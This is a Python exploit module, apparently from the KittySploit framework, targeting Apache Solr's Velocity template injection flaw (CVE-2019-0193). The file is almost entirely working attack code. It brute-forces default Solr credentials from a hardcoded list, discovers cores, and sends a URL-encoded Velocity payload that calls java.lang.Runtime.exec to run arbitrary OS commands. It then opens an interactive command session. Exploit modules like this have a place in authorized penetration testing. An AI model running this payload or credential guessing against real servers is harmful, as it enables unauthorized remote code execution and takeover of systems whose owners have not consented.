Apache Solr Velocity Template RCE (CVE-2019-0193)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Solr Velocity template RCE (CVE-2019-0193) — execute session."""

from __future__ import annotations

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Solr Velocity Template RCE (CVE-2019-0193)',
        'description': (
            'Exploits CVE-2019-0193 Velocity template injection on /{core}/select when '
            'the VelocityResponseWriter is enabled. Runs OS commands via wt=velocity and '
            'opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2019-0193'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2019-0193',
            'https://solr.apache.org/security.html#cve-2019-0193',
        ],
        'tags': [
            'solr', 'apache', 'velocity', 'rce', 'unauth', 'kev', 'cve-2019-0193',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['solr', 'apache'],
                'endpoint_pattern_any': ['/solr/'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'Velocity select injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2019_0193_detect'],
            },
        },
    }

    port = OptPort(8983, 'Solr HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    base_path = OptString('/solr', 'Solr base path', False, advanced=True)
    username = OptString('', 'Basic-auth username (empty = try unauth/defaults)', False, advanced=True)
    password = OptString('', 'Basic-auth password', False, advanced=True)
    collection = OptString('', 'Core/collection name (auto if empty)', False, advanced=True)
    brute_creds = OptBool(True, 'Try common Solr credentials when auth is required', False, advanced=True)

    _DEFAULT_USERS = ('solr', 'admin', 'superadmin')
    _DEFAULT_PASSWORDS = ('SolrRocks', 'solr', 'admin', 'password', 'changeme')
    _FALLBACK_CORES = ('gettingstarted', 'demo', 'collection1')

    def _solr_path(self, suffix: str) -> str:
        base = str(self.base_path or '/solr').strip()
        if not base.startswith('/'):
            base = f'/{base}'
        base = base.rstrip('/')
        if not suffix.startswith('/'):
            suffix = f'/{suffix}'
        return f'{base}{suffix}'

    def _auth_headers(self, user: str = '', passwd: str = '') -> dict:
        user = str(user or '').strip()
        passwd = str(passwd or '').strip()
        if not user:
            return {}
        token = base64.b64encode(f'{user}:{passwd}'.encode()).decode()
        return {'Authorization': f'Basic {token}'}

    def _request(self, suffix: str, user: str = '', passwd: str = '', method: str = 'GET', data=None):
        headers = self._auth_headers(user, passwd)
        if data is not None:
            headers = {**headers, 'Content-Type': 'application/x-www-form-urlencoded'}
        return self.http_request(
            method=method,
            path=self._solr_path(suffix),
            headers=headers or None,
            data=data,
            allow_redirects=False,
        )

    @staticmethod
    def _extract_version(body: str) -> str:
        for pattern in (
            re.compile(r'solr-spec-version[^0-9]*([\d.]+)', re.I),
            re.compile(r'"lucene"\s*:\s*\{[^}]*"solr-spec-version"\s*:\s*"([\d.]+)"', re.I),
        ):
            match = pattern.search(body or '')
            if match:
                return match.group(1)
        return ''

    @staticmethod
    def _version_vulnerable(version: str) -> bool | None:
        parts = version.split('.')
        if len(parts) < 2:
            return None
        try:
            major, minor = int(parts[0]), int(parts[1])
            patch = int(parts[2]) if len(parts) > 2 else 0
        except ValueError:
            return None
        if major > 8:
            return False
        if major == 8 and minor >= 2:
            return False
        if major == 8 and minor == 1 and patch >= 1:
            return False
        if major == 7 and minor == 7 and patch >= 2:
            return False
        if major == 7 and minor == 6 and patch >= 1:
            return False
        return major >= 5

    def _auth_required(self) -> bool:
        r = self._request('/admin/info/system')
        if r and int(r.status_code or 0) == 401:
            return True
        r = self._request('/admin/cores?action=STATUS')
        return bool(r and int(r.status_code or 0) == 401)

    def _auth_works(self, user: str, passwd: str) -> bool:
        r = self._request('/admin/info/system', user, passwd)
        return bool(r and int(r.status_code or 0) == 200)

    def _resolve_credentials(self) -> tuple[str, str]:
        user = str(self.username or '').strip()
        passwd = str(self.password or '').strip()
        if user and self._auth_works(user, passwd):
            return user, passwd
        if not self._auth_required():
            return '', ''
        if not bool(self.brute_creds):
            raise ValueError('Solr requires authentication — set username/password')
        for candidate_user in self._DEFAULT_USERS:
            for candidate_pass in self._DEFAULT_PASSWORDS:
                if self._auth_works(candidate_user, candidate_pass):
                    print_success(f'Valid Solr credentials: {candidate_user}:{candidate_pass}')
                    return candidate_user, candidate_pass
        raise ValueError('Solr authentication required but no credentials worked')

    def _discover_cores(self, user: str, passwd: str) -> list[str]:
        r = self._request('/admin/collections?action=LIST', user, passwd)
        if r and int(r.status_code or 0) == 200:
            try:
                cols = r.json().get('collections', [])
                if cols:
                    return list(cols)
            except Exception:
                pass
        r = self._request('/admin/cores?action=STATUS', user, passwd)
        if r and int(r.status_code or 0) == 200:
            try:
                cores = list(r.json().get('status', {}).keys())
                if cores:
                    return cores
            except Exception:
                pass
        return []

    def _resolve_core(self, user: str, passwd: str) -> str:
        selected = str(self.collection or '').strip()
        if selected:
            return selected
        discovered = self._discover_cores(user, passwd)
        if discovered:
            return discovered[0]
        return self._FALLBACK_CORES[0]

    @staticmethod
    def _escape_velocity(command: str) -> str:
        return command.replace("'", "\\'")

    def _build_velocity_body(self, command: str) -> bytes:
        escaped = self._escape_velocity(command)
        body = (
            'q=1&wt=velocity&v.template=custom&v.template.custom='
            '%23set(%24x=%27%27)'
            '%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))'
            '%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))'
            '%23set(%24ex=%24rt.getRuntime().exec(%27'
            f'{escaped}'
            '%27))'
            '%24ex.waitFor()'
            '%25'
            '%23set(%24out=%24ex.getInputStream())'
            '%23foreach(%24i%20in%20[1..%24out.available()])'
            '%24str.valueOf(%24chr.toChars(%24out.read()))'
            '%23end'
        )
        return body.encode()

    def _run_command(self, core: str, user: str, passwd: str, command: str) -> str:
        r = self._request(
            f'/{core}/select',
            user,
            passwd,
            method='POST',
            data=self._build_velocity_body(command),
        )
        if not r or int(r.status_code or 0) != 200:
            return ''
        return (r.text or '').strip()

    def execute(self, cmd: str) -> str:
        user, passwd = self._resolve_credentials()
        core = self._resolve_core(user, passwd)
        return self._run_command(core, user, passwd, cmd)

    def check(self):
        r = self._request('/admin/info/system')
        if not r or int(r.status_code or 0) not in (200, 401):
            return {
                'vulnerable': False,
                'reason': 'Solr admin API not reachable',
                'confidence': 'low',
            }
        body = r.text or ''
        if 'solr' not in body.lower() and int(r.status_code or 0) != 401:
            return {
                'vulnerable': False,
                'reason': 'Target does not look like Apache Solr',
                'confidence': 'medium',
            }
        version = self._extract_version(body)
        if version:
            vuln = self._version_vulnerable(version)
            if vuln is False:
                return {
                    'vulnerable': False,
                    'reason': f'Solr {version} is patched for CVE-2019-0193',
                    'confidence': 'high',
                }
        token = self.random_text(8)
        try:
            out = self.execute(f'echo {token}')
        except ValueError as exc:
            return {'vulnerable': False, 'reason': str(exc), 'confidence': 'medium'}
        if token in (out or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2019-0193 Velocity RCE confirmed',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Velocity writer not enabled or core unreachable',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        try:
            return token in (self.execute(f'echo {token}') or '')
        except ValueError:
            return False

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()